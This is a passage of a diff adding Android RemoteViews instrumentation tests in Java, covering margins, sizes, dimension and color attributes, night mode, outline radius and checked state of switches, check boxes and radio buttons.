+        mRemoteViews.setViewLayoutMargin(textViewRtl.getId(), MARGIN_BOTTOM, 40, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        displayMetrics = textViewRtl.getResources().getDisplayMetrics();
+        assertMargins(
+                textViewRtl,
+                resolveDimenOffset(30, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(20, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(10, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(40, COMPLEX_UNIT_DIP, displayMetrics));
+    }
+
+    @Test
+    public void testSetViewLayoutMarginDimen() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text, MARGIN_LEFT, R.dimen.textview_padding_left);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text, MARGIN_TOP, R.dimen.textview_padding_top);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text, MARGIN_RIGHT, R.dimen.textview_padding_right);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text, MARGIN_BOTTOM, R.dimen.textview_padding_bottom);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(
+                textView,
+                textView.getResources().getDimensionPixelOffset(R.dimen.textview_padding_left),
+                textView.getResources().getDimensionPixelOffset(R.dimen.textview_padding_top),
+                textView.getResources().getDimensionPixelOffset(R.dimen.textview_padding_right),
+                textView.getResources().getDimensionPixelOffset(R.dimen.textview_padding_bottom));
+    }
+
+    @Test
+    public void testSetViewLayoutMarginDimen_layoutDirection() throws Throwable {
+        View textViewLtr = mResult.findViewById(R.id.remoteView_text_ltr);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_ltr, MARGIN_START, R.dimen.textview_padding_left);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_ltr, MARGIN_TOP, R.dimen.textview_padding_top);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_ltr, MARGIN_END, R.dimen.textview_padding_right);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_ltr, MARGIN_BOTTOM, R.dimen.textview_padding_bottom);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(
+                textViewLtr,
+                textViewLtr.getResources().getDimensionPixelOffset(R.dimen.textview_padding_left),
+                textViewLtr.getResources().getDimensionPixelOffset(R.dimen.textview_padding_top),
+                textViewLtr.getResources().getDimensionPixelOffset(R.dimen.textview_padding_right),
+                textViewLtr.getResources().getDimensionPixelOffset(
+                        R.dimen.textview_padding_bottom));
+
+        View textViewRtl = mResult.findViewById(R.id.remoteView_text_rtl);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_rtl, MARGIN_START, R.dimen.textview_padding_left);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_rtl, MARGIN_TOP, R.dimen.textview_padding_top);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_rtl, MARGIN_END, R.dimen.textview_padding_right);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_rtl, MARGIN_BOTTOM, R.dimen.textview_padding_bottom);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(
+                textViewRtl,
+                textViewRtl.getResources().getDimensionPixelOffset(R.dimen.textview_padding_right),
+                textViewRtl.getResources().getDimensionPixelOffset(R.dimen.textview_padding_top),
+                textViewRtl.getResources().getDimensionPixelOffset(R.dimen.textview_padding_left),
+                textViewRtl.getResources().getDimensionPixelOffset(
+                        R.dimen.textview_padding_bottom));
+    }
+
+    @Test
+    public void testSetViewLayoutMarginAttr() throws Throwable {
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text, MARGIN_LEFT, R.attr.themeDimension);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text, MARGIN_TOP, R.attr.themeDimension2);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text, MARGIN_RIGHT, R.attr.themeDimension3);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text, MARGIN_BOTTOM, R.attr.themeDimension4);
+
+        applyNightModeThenApplyAndTest(false, () -> {
+            View textView = mResult.findViewById(R.id.remoteView_text);
+            DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+            assertMargins(
+                    textView,
+                    resolveDimenOffset(5.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                    resolveDimenOffset(2.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                    resolveDimenOffset(3.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                    resolveDimenOffset(4.5f, COMPLEX_UNIT_DIP, displayMetrics));
+        });
+
+        applyNightModeThenApplyAndTest(true, () -> {
+            View textView = mResult.findViewById(R.id.remoteView_text);
+            DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+            assertMargins(
+                    textView,
+                    resolveDimenOffset(7.5123f, COMPLEX_UNIT_DIP, displayMetrics),
+                    resolveDimenOffset(4.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                    resolveDimenOffset(5.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                    resolveDimenOffset(6.5f, COMPLEX_UNIT_DIP, displayMetrics));
+        });
+
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text, MARGIN_LEFT, R.attr.themeColor);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetViewLayoutMarginAttr_layoutDirection() throws Throwable {
+        View textViewLtr = mResult.findViewById(R.id.remoteView_text_ltr);
+        DisplayMetrics displayMetrics = textViewLtr.getResources().getDisplayMetrics();
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text_ltr, MARGIN_START, R.attr.themeDimension);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text_ltr, MARGIN_TOP, R.attr.themeDimension2);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text_ltr, MARGIN_END, R.attr.themeDimension3);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text_ltr, MARGIN_BOTTOM, R.attr.themeDimension4);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(
+                textViewLtr,
+                resolveDimenOffset(5.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(2.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(3.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(4.5f, COMPLEX_UNIT_DIP, displayMetrics));
+
+        View textViewRtl = mResult.findViewById(R.id.remoteView_text_rtl);
+        displayMetrics = textViewRtl.getResources().getDisplayMetrics();
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text_rtl, MARGIN_START, R.attr.themeDimension);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text_rtl, MARGIN_TOP, R.attr.themeDimension2);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text_rtl, MARGIN_END, R.attr.themeDimension3);
+        mRemoteViews.setViewLayoutMarginAttr(
+                R.id.remoteView_text_rtl, MARGIN_BOTTOM, R.attr.themeDimension4);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(
+                textViewRtl,
+                resolveDimenOffset(3.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(2.5f, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(5.5123f, COMPLEX_UNIT_DIP, displayMetrics),
+                resolveDimenOffset(4.5f, COMPLEX_UNIT_DIP, displayMetrics));
+    }
+
+    @Test
+    public void testSetViewLayoutWidth() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+
+        mRemoteViews.setViewLayoutWidth(R.id.remoteView_text, 10, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(10, textView.getLayoutParams().width);
+
+        mRemoteViews.setViewLayoutWidth(R.id.remoteView_text, 20, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                resolveDimenSize(20, COMPLEX_UNIT_DIP, displayMetrics),
+                textView.getLayoutParams().width);
+
+        mRemoteViews.setViewLayoutWidth(
+                R.id.remoteView_text, ViewGroup.LayoutParams.MATCH_PARENT, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, textView.getLayoutParams().width);
+    }
+
+    @Test
+    public void testSetViewLayoutWidthDimen() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setViewLayoutWidthDimen(R.id.remoteView_text, R.dimen.textview_fixed_width);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                textView.getResources().getDimensionPixelSize(R.dimen.textview_fixed_width),
+                textView.getLayoutParams().width);
+    }
+
+    @Test
+    public void testSetViewLayoutWidthAttr() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setViewLayoutWidthAttr(R.id.remoteView_text, R.attr.themeDimension);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                resolveDimenSize(5.5123f, COMPLEX_UNIT_DIP,
+                        textView.getResources().getDisplayMetrics()),
+                textView.getLayoutParams().width);
+
+        mRemoteViews.setViewLayoutWidthAttr(R.id.remoteView_text, R.attr.themeColor);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetViewLayoutHeight() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+
+        mRemoteViews.setViewLayoutHeight(R.id.remoteView_text, 10, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(10, textView.getLayoutParams().height);
+
+        mRemoteViews.setViewLayoutHeight(R.id.remoteView_text, 20, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                resolveDimenSize(20, COMPLEX_UNIT_DIP, displayMetrics),
+                textView.getLayoutParams().height);
+
+        mRemoteViews.setViewLayoutHeight(
+                R.id.remoteView_text, ViewGroup.LayoutParams.MATCH_PARENT, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, textView.getLayoutParams().height);
+    }
+
+    @Test
+    public void testSetViewLayoutHeightDimen() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setViewLayoutHeightDimen(R.id.remoteView_text, R.dimen.textview_fixed_height);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                textView.getResources().getDimensionPixelSize(R.dimen.textview_fixed_height),
+                textView.getLayoutParams().height);
+    }
+
+    @Test
+    public void testSetViewLayoutHeightAttr() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setViewLayoutHeightAttr(R.id.remoteView_text, R.attr.themeDimension);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                resolveDimenSize(5.5123f, COMPLEX_UNIT_DIP,
+                        textView.getResources().getDisplayMetrics()),
+                textView.getLayoutParams().height);
+
+        mRemoteViews.setViewLayoutHeightAttr(
+                R.id.remoteView_text, R.attr.themeColor);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetIntDimen_fromResources() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        int expectedValue = mContext.getResources().getDimensionPixelSize(R.dimen.popup_row_height);
+
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                R.dimen.popup_row_height);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getCompoundDrawablePadding());
+
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                R.color.testcolor1);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetIntDimen_fromUnitDimension() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                12f, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(resolveDimenSize(12f, COMPLEX_UNIT_DIP, displayMetrics),
+                textView.getCompoundDrawablePadding());
+
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                12f, TypedValue.COMPLEX_UNIT_SP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(resolveDimenSize(12f, TypedValue.COMPLEX_UNIT_SP, displayMetrics),
+                textView.getCompoundDrawablePadding());
+
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                12f, TypedValue.COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(resolveDimenSize(12f, TypedValue.COMPLEX_UNIT_PX, displayMetrics),
+                textView.getCompoundDrawablePadding());
+
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                12f, 123456);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetIntDimenAttr() throws Throwable {
+        mRemoteViews.setIntDimenAttr(R.id.remoteView_text, "setCompoundDrawablePadding",
+                R.attr.themeDimension);
+        applyNightModeThenApplyAndTest(false, () -> {
+            TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+            assertEquals(resolveDimenSize(5.5123f, COMPLEX_UNIT_DIP,
+                    textView.getResources().getDisplayMetrics()),
+                    textView.getCompoundDrawablePadding());
+        });
+
+        applyNightModeThenApplyAndTest(true, () -> {
+            TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+            assertEquals(resolveDimenSize(7.5123f, COMPLEX_UNIT_DIP,
+                    textView.getResources().getDisplayMetrics()),
+                    textView.getCompoundDrawablePadding());
+        });
+
+        mRemoteViews.setIntDimenAttr(R.id.remoteView_text, "setCompoundDrawablePadding",
+                R.attr.themeColor);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+
+    @Test
+    public void testSetFloatDimen_fromResources() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                R.dimen.remoteviews_float_dimen);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(textView.getResources().getDimension(R.dimen.remoteviews_float_dimen),
+                textView.getTextScaleX(), 1e-4f);
+
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX", R.color.testcolor1);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetFloatDimen_fromUnitDimension() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                3.5f, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 3.5f, displayMetrics),
+                textView.getTextScaleX(), 1e-4f);
+
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                3.5f, TypedValue.COMPLEX_UNIT_SP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, 3.5f, displayMetrics),
+                textView.getTextScaleX(), 1e-4f);
+
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                3.5f, TypedValue.COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_PX, 3.5f, displayMetrics),
+                textView.getTextScaleX(), 1e-4f);
+
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                3.5f, 123456);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetFloatDimenAttr() throws Throwable {
+        mRemoteViews.setFloatDimenAttr(R.id.remoteView_text, "setTextScaleX",
+                R.attr.themeDimension);
+        applyNightModeThenApplyAndTest(false, () -> {
+            TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+            assertEquals(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 5.5123f,
+                    textView.getResources().getDisplayMetrics()), textView.getTextScaleX(), 1e-4f);
+        });
+
+        applyNightModeThenApplyAndTest(true, () -> {
+            TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+            assertEquals(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 7.5123f,
+                    textView.getResources().getDisplayMetrics()), textView.getTextScaleX(), 1e-4f);
+        });
+
+        mRemoteViews.setFloatDimenAttr(R.id.remoteView_text, "setTextScaleX",
+                R.attr.themeColor);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetColor() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        int expectedValue = mContext.getColor(R.color.testcolor1);
+
+        mRemoteViews.setColor(R.id.remoteView_text, "setTextColor", R.color.testcolor1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertSameColorStateList(ColorStateList.valueOf(expectedValue), textView.getTextColors());
+
+        mRemoteViews.setColor(R.id.remoteView_text, "setTextColor", R.dimen.popup_row_height);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetColorAttr() throws Throwable {
+        // Ensure the configuration is "light"
+        mRemoteViews.setColorAttr(R.id.remoteView_text, "setTextColor", R.attr.themeColor);
+
+        applyNightModeThenApplyAndTest(false, () -> {
+            TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+            assertSameColorStateList(ColorStateList.valueOf(0x0f00ff00), textView.getTextColors());
+        });
+
+        // Switch to night mode
+        applyNightModeThenApplyAndTest(true, () -> {
+            TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+            assertSameColorStateList(ColorStateList.valueOf(0x0f00ffff), textView.getTextColors());
+        });
+
+        mRemoteViews.setColorAttr(R.id.remoteView_text, "setTextColor", R.attr.themeDimension);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetColorStateList() throws Throwable {
+        ProgressBar progressBar = mResult.findViewById(R.id.remoteView_progress);
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] {{android.R.attr.state_checked}, {}},
+                new int[] {Color.BLACK, Color.WHITE});
+        mRemoteViews.setColorStateList(R.id.remoteView_progress, "setProgressTintList", tintList);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertSameColorStateList(tintList, progressBar.getProgressTintList());
+
+        mRemoteViews.setColorStateList(R.id.remoteView_progress, "setProgressTintList", null);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertNull(progressBar.getProgressTintList());
+
+        TextView textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor", tintList);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertSameColorStateList(tintList, textView.getTextColors());
+
+        ColorStateList solid = ColorStateList.valueOf(Color.RED);
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setBackgroundTintList", solid);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertSameColorStateList(solid, textView.getBackgroundTintList());
+    }
+
+    @Test
+    public void testSetColorStateListAttr() throws Throwable {
+        mRemoteViews.setColorStateListAttr(R.id.remoteView_progress, "setProgressTintList",
+                R.attr.themeColor);
+        applyNightModeThenApplyAndTest(false, () -> {
+            ProgressBar progressBar = mResult.findViewById(R.id.remoteView_progress);
+            assertSameColorStateList(ColorStateList.valueOf(0x0f00ff00),
+                    progressBar.getProgressTintList());
+        });
+
+        applyNightModeThenApplyAndTest(true, () -> {
+            ProgressBar progressBar = mResult.findViewById(R.id.remoteView_progress);
+            assertSameColorStateList(ColorStateList.valueOf(0x0f00ffff),
+                    progressBar.getProgressTintList());
+        });
+
+        mRemoteViews.setColorAttr(R.id.remoteView_text, "setTextColor", R.attr.themeDimension);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetColorStateInt_nightMode() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setColorInt(R.id.remoteView_text, "setTextColor", Color.BLACK, Color.WHITE);
+
+        applyNightModeThenReapplyAndTest(
+                false,
+                () -> assertSameColorStateList(ColorStateList.valueOf(Color.BLACK),
+                        textView.getTextColors())
+        );
+        applyNightModeThenReapplyAndTest(
+                true,
+                () -> assertSameColorStateList(ColorStateList.valueOf(Color.WHITE),
+                        textView.getTextColors())
+        );
+    }
+
+    @Test
+    public void testSetColorStateList_fromResources() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        ColorStateList expectedValue = mContext.getColorStateList(R.color.testcolorstatelist1);
+
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor",
+                R.color.testcolorstatelist1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertSameColorStateList(expectedValue, textView.getTextColors());
+
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor",
+                R.color.testcolor1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        expectedValue = mContext.getResources().getColorStateList(R.color.testcolor1,
+                mContext.getTheme());
+        assertSameColorStateList(expectedValue, textView.getTextColors());
+
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor",
+                R.dimen.popup_row_height);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetColorStateList_nightMode() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        ColorStateList lightMode = ColorStateList.valueOf(Color.BLACK);
+        ColorStateList darkMode = ColorStateList.valueOf(Color.WHITE);
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor", lightMode, darkMode);
+
+        applyNightModeThenReapplyAndTest(false,
+                () -> assertSameColorStateList(lightMode, textView.getTextColors()));
+        applyNightModeThenReapplyAndTest(true,
+                () -> assertSameColorStateList(darkMode, textView.getTextColors()));
+    }
+
+    @Test
+    public void testSetViewOutlinePreferredRadius() throws Throwable {
+        View root = mResult.findViewById(R.id.remoteViews_good);
+        DisplayMetrics displayMetrics = root.getResources().getDisplayMetrics();
+
+        mRemoteViews.setViewOutlinePreferredRadius(
+                R.id.remoteViews_good, 8, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                TypedValue.applyDimension(COMPLEX_UNIT_DIP, 8, displayMetrics),
+                ((RemoteViews.RemoteViewOutlineProvider) root.getOutlineProvider()).getRadius(),
+                0.1 /* delta */);
+
+        mRemoteViews.setViewOutlinePreferredRadius(
+                R.id.remoteViews_good, 16, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                16,
+                ((RemoteViews.RemoteViewOutlineProvider) root.getOutlineProvider()).getRadius(),
+                0.1 /* delta */);
+    }
+
+    @Test
+    public void testSetViewOutlinePreferredRadiusDimen() throws Throwable {
+        View root = mResult.findViewById(R.id.remoteViews_good);
+
+        mRemoteViews.setViewOutlinePreferredRadiusDimen(
+                R.id.remoteViews_good, R.dimen.popup_row_height);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                root.getResources().getDimension(R.dimen.popup_row_height),
+                ((RemoteViews.RemoteViewOutlineProvider) root.getOutlineProvider()).getRadius(),
+                0.1 /* delta */);
+
+        mRemoteViews.setViewOutlinePreferredRadiusDimen(
+                R.id.remoteViews_good, 0);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                0,
+                ((RemoteViews.RemoteViewOutlineProvider) root.getOutlineProvider()).getRadius(),
+                0.1 /* delta */);
+    }
+
+    @Test
+    public void testSetViewOutlinePreferredRadiusAttr() throws Throwable {
+        mRemoteViews.setViewOutlinePreferredRadiusAttr(
+                R.id.remoteViews_good, R.attr.themeDimension);
+
+        applyNightModeThenApplyAndTest(false,
+                () -> {
+                    View root = mResult.findViewById(R.id.remoteViews_good);
+                    assertEquals(
+                            TypedValue.applyDimension(COMPLEX_UNIT_DIP, 5.5123f,
+                                    root.getResources().getDisplayMetrics()),
+                            ((RemoteViews.RemoteViewOutlineProvider)
+                                    root.getOutlineProvider()).getRadius(),
+                            0.1 /* delta */);
+                });
+
+        applyNightModeThenApplyAndTest(true,
+                () -> {
+                    View root = mResult.findViewById(R.id.remoteViews_good);
+                    assertEquals(
+                            TypedValue.applyDimension(COMPLEX_UNIT_DIP, 7.5123f,
+                                    root.getResources().getDisplayMetrics()),
+                            ((RemoteViews.RemoteViewOutlineProvider)
+                                    root.getOutlineProvider()).getRadius(),
+                            0.1 /* delta */);
+                });
+
+        mRemoteViews.setViewOutlinePreferredRadiusAttr(
+                R.id.remoteViews_good, R.attr.themeColor);
+        assertThrowsOnReapply(ActionException.class);
+    }
+
+    @Test
+    public void testSetSwitchChecked() throws Throwable {
+        Switch toggle = mResult.findViewById(R.id.remoteView_switch);
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_switch, true);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(toggle.isChecked());
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_switch, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(toggle.isChecked());
+    }
+
+    @Test
+    public void testSetCheckBoxChecked() throws Throwable {
+        CheckBox checkBox = mResult.findViewById(R.id.remoteView_checkBox);
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_checkBox, true);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(checkBox.isChecked());
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_checkBox, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(checkBox.isChecked());
+    }
+
+    @Test
+    public void testSetRadioButtonChecked() throws Throwable {
+        RadioButton radioButton = mResult.findViewById(R.id.remoteView_radioButton1);
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_radioButton1, true);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(radioButton.isChecked());
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_radioButton1, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(radioButton.isChecked());
+    }
+
+    @Test
+    public void testSetRadioGroupChecked() throws Throwable {
+        RadioGroup radioGroup = mResult.findViewById(R.id.remoteView_radioGroup);
+        RadioButton button1 = mResult.findViewById(R.id.remoteView_radioButton1);
+        RadioButton button2 = mResult.findViewById(R.id.remoteView_radioButton2);
+
+        mRemoteViews.setRadioGroupChecked(R.id.remoteView_radioGroup, R.id.remoteView_radioButton1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(button1.isChecked());
+        assertFalse(button2.isChecked());
+
+        mRemoteViews.setRadioGroupChecked(R.id.remoteView_radioGroup, R.id.remoteView_radioButton2);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(button1.isChecked());
+        assertTrue(button2.isChecked());
+
+        mRemoteViews.setRadioGroupChecked(R.id.remoteView_radioGroup, -1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(button1.isChecked());
+        assertFalse(button2.isChecked());
+    }
+
+    @Test
+    public void testCanRecycleView() throws Throwable {
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_textview,
+                2 /* viewId */);
+
+        mActivityRule.runOnUiThread(() -> {
+            mResult = mRemoteViews.apply(mContext, null);
+        });
+
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_textview,
+                3 /* viewId */);
